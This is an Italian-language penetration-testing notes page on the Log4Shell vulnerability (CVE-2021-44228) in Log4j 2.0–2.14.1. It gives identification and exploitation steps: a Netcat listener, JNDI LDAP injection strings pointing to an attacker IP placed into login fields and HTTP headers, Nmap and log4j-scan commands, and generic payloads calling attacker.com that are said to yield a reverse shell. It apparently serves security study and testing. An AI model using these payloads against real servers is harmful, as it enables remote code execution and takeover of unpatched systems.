tags: Log4Shell Web_server web_server_hacking Log4j
Cos’è?
Questa vulnerabilità è una delle più gravi riscontrate negli ultimi anni perchè permette di sfruttare la libreria Log4j di Java per ottenere accesso al web server con privilegi di root. Essendo Java un linguaggio molto utilizzato rende questa vulnerabilità molto efficace, le versioni sulle quali è possibile sfruttare questa vulnerabilità vanno dalla 2.0 alla 2.14.1 della libreria Log4j.
1) Identificazione
Da fuori
Manuale
Tramite BurpSuite possiamo intercettare le richieste fatte al server e modificare in seguito i parametri delle richieste per verificare la presenza di questa vulnerabilità, per prima cosa ci dobbiamo mettere in ascolto con Netcat:
nc -lvnp 9999Ora possiamo catturare la richiesta e mandarla al reapeter dove modificheremo i parametri i questo modo:
#uname: Il server potrebbe loggare il nome utente tentato.
Prova a modificare `uname=panino` in `uname=${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/uname}`
#password: Meno probabile che venga loggata in chiaro, ma in un PoC tutto è possibile.
Prova a modificare `password=password` in `password=${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/password}`
#User-Agent: Un classico.
Modifica `User-Agent: Mozilla/5.0 ...` in `User-Agent: ${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/ua}`
#Referer:
Modifica `Referer: http://192.168.1.168:8080/` in `Referer: ${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/referer}`
#Cookie: Il server potrebbe loggare i valori dei cookie o l'intero header
Modifica `Cookie: JSESSIONID=...` in `Cookie: JSESSIONID=${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/cookie}`
#Accept-Language
Modifica `Accept-Language: en-US,en;q=0.9` in `Accept-Language: ${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/lang}`
#Origin
Modifica `Origin: http://192.168.1.168:8080` in `Origin: ${jndi:ldap://<IP_ATTACCANTE>:<PORTA_LISTENER>/origin}`
Se un parametro modificato ci restituisce una connessione con il nostro server Netcat (basta anche un simbolo non renderizzato) significa che quel parametro è vulnerabile.
Nmap
sudo nmap --script-updatedb
sudo nmap -p <PORTA_SERVER_LOG4J> --script http-vuln-cve2021-44228 --script-args log4shell.callback-server="<IP_ATTACCANTE>:9999" <IP_VITTIMA>
log4shell-detector
Log4j-scan
python3 log4j-scan.py -u http://target.comDa dentro
Identificare la versione di Log4j
La vulnerabilità Log4Shell (CVE-2021-44228) è presente nelle versioni:
- Log4j 2.x da 2.0 a 2.14.1.
Per verificare:
- Controlla se l’applicazione o il sistema utilizza Log4j.
- Esamina i file
.jaro le dipendenze di progetto. Usa comandi come:
find /path/to/application -name "log4j*"Se hai accesso al codice, cerca riferimenti a org.apache.logging.log4j.
Verifica le dipendenza
-
Se hai accesso al codice sorgente o ai file dell’applicazione, cerca la libreria
log4j-corenelle dipendenze (ad esempio, in un filepom.xmlper Maven obuild.gradleper Gradle). -
Cerca file JAR come
log4j-core-2.x.jar.
Verifica la versione di Log4j
-
Le versioni vulnerabili sono Log4j 2.x fino alla 2.14.1.
-
Se l’applicazione utilizza una versione vulnerabile, potrebbe essere esposta.
2) Exploitazione
Log4j-scan
Questo strumento oltre che a verificare se sia o meno presente la vulnerabilità ci restituisce pure un payload da andare ad utilizzare per sfruttarla, questo payload va inserito per esempio in un form di login oppure in un header HTTP o un parametro URL.
Una volta inserito il payload ci mettiamo in ascolto con netcat ed otteniamo una reverse-shell.
Payload generici
${jndi:ldap://tuo-server-malizioso/exploit}
${jndi:ldap://attacker.com/a}